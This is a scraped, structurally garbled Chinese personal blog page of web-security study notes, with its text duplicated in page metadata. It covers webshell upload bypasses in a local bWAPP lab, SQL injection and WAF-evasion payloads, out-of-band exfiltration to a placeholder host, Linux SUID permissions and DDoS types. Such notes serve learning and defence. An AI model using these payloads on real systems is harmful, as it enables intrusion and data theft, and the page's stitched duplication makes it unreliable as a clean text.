dual;</p><p>上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中</p><p>混淆和绕过</p><p>一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段</p><p>过滤词绕过</p><p>OR可使用||绕过，AND可使用&&绕过</p><p>union被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; ||(SELECT user FROM usermain limit 1,1) = &lsquo;root&rsquo;</p><p>limit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SELECT min(user),id FROM usermain GROUP BY user HAVING user=&lsquo;root&rsquo;</p><p>GROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)</p><p>SELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SUBSTR(user,1,1=0x72)</p><p>空格被过滤，可通过/**/来替代空格来分开sql语句</p><p>等号被过滤，可通过like关键字绕过</p><p>双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、</p><p>双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的</p><p>编码注入（url编码）：%27表示&rsquo;，%23表示#，%df表示无意义，%5c表示\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23</p><p>二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin&rsquo;#</p><hr><p>提权</p><p>Linux的特殊权限</p><p>SUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失</p><p>例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）</p><p>注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws&ndash;x&ndash;x）</p><p>SGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx&ndash;s&ndash;x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效</p><p>该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限</p><p>注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能</p><p>SBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除</p><p>该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限</p><hr><p>DDOS攻击（分布式拒绝服务攻击）</p><p>原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等</p><p>UDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名</p><p>DNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的</p><p>ICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽</p><p>攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping</p><p>内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满</p><p>放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果</p><p>SYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性</p><p>SYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的</p><p>ACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似</p><p>HTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求</p><p>Slowloris攻击：利用HTTP Request的特性，通过\r\n\r\n来表示HTTP请求发送已完成，当\r\n\r\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的</p><p>防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单</p><p>HTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/>web安全</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/pm2/><span class=title>« Prev</span><br><span>简单使用Pm2---node进程管理工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/144/><span class=title>Next »</span><br><span>简单了解a11y无障碍</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"web安全学习笔记","item":"https://chenjunlinabc.github.io/posts/145/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"web安全学习笔记","name":"web安全学习笔记","description":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt echo hallo \u0026gt; hallo.","keywords":["web安全"],"articleBody":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d ’test=echo getcwd();’ http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u003e hallo.txt:a.txt echo hallo \u003e hallo.txt echo 666 \u003e hallo.txt::$data 第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中\n第三个例子中，666写入到了hallo.txt默认文件流中\n针对于白名单进行绕过\n截断绕过（环境要求：php\u003e5.3.42，magic_quotes_gpc关闭）\n搭配burpsuite来拦截http请求\n上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg\n$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束\n因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php\nSQL注入\nSQL注入漏洞是用户应用层与数据库层的安全漏洞\n发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发\n过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端\nGET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据\nGET型SQL注入漏洞\n方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据\nUNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() –\n查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的–是sql注释，也可以使用#来注释掉后面的sql命令\n当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找\nUNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=‘user’ –\n通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户\nUNION SELECT 1,password,login,4,5 FROM user –\n通过上面的命令查找user表的password和login字段\n注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞\nPOST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）\n判断SQL注入点\n能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入\n单引号判断法\nhttps://webtest.xiaochenabc123.test.com?id=1'\n如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错\n判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）\n整型\nSELECT * FROM test where id = and 1=1\n字符串型\nSELECT * FROM test where id = ‘1’ and ‘1’=‘1’\n百分号判断法\n针对于使用了LIKE关键字的\nhttps://webtest.xiaochenabc123.test.com?id=1$' and ‘1’=‘1’ –\n简单的SQL注入防御方法：\n减低错误信息的提供\n使用mysql_escape_string($id)转义，将’转义\n过滤and，or，union，select等等关键词（黑名单）\nSQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入\n布尔型注入\nhttps://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5–\n布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求\n联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）\n基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）\nhttps://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)–\nslepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行\n报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）\n多语句查询型注入（当页面可以执行多条SQL语句时）\n例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1–\n多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发\nHTTP头注入\n利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）\n通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击\nUser-Agent: abc’, (SELECT database()) –\n堆叠注入（多条sql命令一起执行）\n使用;结束当前sql命令后继续执行下一条sql命令\n联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令\n一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷\nOOB注入（out of band，带外通道技术）\n通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(’\\\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’);\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(’\\\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’));\n最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名\n利用HTTP协议来OOB注入\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php ‘||’?id=’||(SELECT database())) FROM dual;\n上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中\n混淆和绕过\n一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段\n过滤词绕过\nOR可使用||绕过，AND可使用\u0026\u0026绕过\nunion被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ ||(SELECT user FROM usermain limit 1,1) = ‘root’\nlimit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SELECT min(user),id FROM usermain GROUP BY user HAVING user=‘root’\nGROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)\nSELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SUBSTR(user,1,1=0x72)\n空格被过滤，可通过/**/来替代空格来分开sql语句\n等号被过滤，可通过like关键字绕过\n双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、\n双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的\n编码注入（url编码）：%27表示’，%23表示#，%df表示无意义，%5c表示\\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23\n二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin’#\n提权\nLinux的特殊权限\nSUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失\n例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）\n注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws–x–x）\nSGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx–s–x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效\n该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限\n注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能\nSBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除\n该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限\nDDOS攻击（分布式拒绝服务攻击）\n原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等\nUDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名\nDNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的\nICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽\n攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping\n内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满\n放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果\nSYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性\nSYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的\nACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似\nHTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求\nSlowloris攻击：利用HTTP Request的特性，通过\\r\\n\\r\\n来表示HTTP请求发送已完成，当\\r\\n\\r\\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的\n防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单\nHTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源\n","wordCount":"313","inLanguage":"en","datePublished":"2022-04-13T13:50:00Z","dateModified":"2022-04-13T13:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/145/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>web安全学习笔记</h1><div class=post-meta><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>常见web工具：</p><p>burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应</p><p>curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等</p><p>postmain</p><p>hackbar quantum</p><p>wappalyzer</p><p>文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等</p><p>文件上传漏洞关键点在于绕过</p><p>由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）</p><p>这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）</p><p>docker pull raesene/bwapp</p><p>docker run -d -p 0.0.0.0:80:80 raesene/bwapp</p><p>访问127.0.0.1/install.php</p><p>点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes</p><p>创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php</p><p>点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录</p><p>简单接触文件上传漏洞</p><p>chose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）</p><p>上传一句话木马，创建shell.php文件，添加</p><p>通过curl触发，执行curl -d &rsquo;test=echo getcwd();&rsquo; http://127.0.0.1/images/shell.php</p><p>可以看到成功触发shell.php，并且服务器返回了当前执行的目录</p><p>后缀名绕过</p><p>安全级别选择medium（set your security level）</p><p>常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）</p><p>这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块</p><p>.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时</p><p>上传.htaccess文件，内容为：AddType application/x-httpd-php jpg</p><p>上传木马，shell.jpg</p><p>AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析</p><p>大小写绕过</p><p>大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的</p><p>Windows文件流绕过</p><p>利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流</p><p>例如：</p><pre><code>echo hallo,word &gt; hallo.txt:a.txt
+echo hallo &gt; hallo.txt
+echo 666 &gt; hallo.txt::$data
+</code></pre><p>第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中</p><p>第三个例子中，666写入到了hallo.txt默认文件流中</p><p>针对于白名单进行绕过</p><p>截断绕过（环境要求：php>5.3.42，magic_quotes_gpc关闭）</p><p>搭配burpsuite来拦截http请求</p><p>上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg</p><p>$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束</p><p>因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php</p><hr><p>SQL注入</p><p>SQL注入漏洞是用户应用层与数据库层的安全漏洞</p><p>发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发</p><p>过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端</p><p>GET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据</p><p>GET型SQL注入漏洞</p><p>方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据</p><p>UNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() 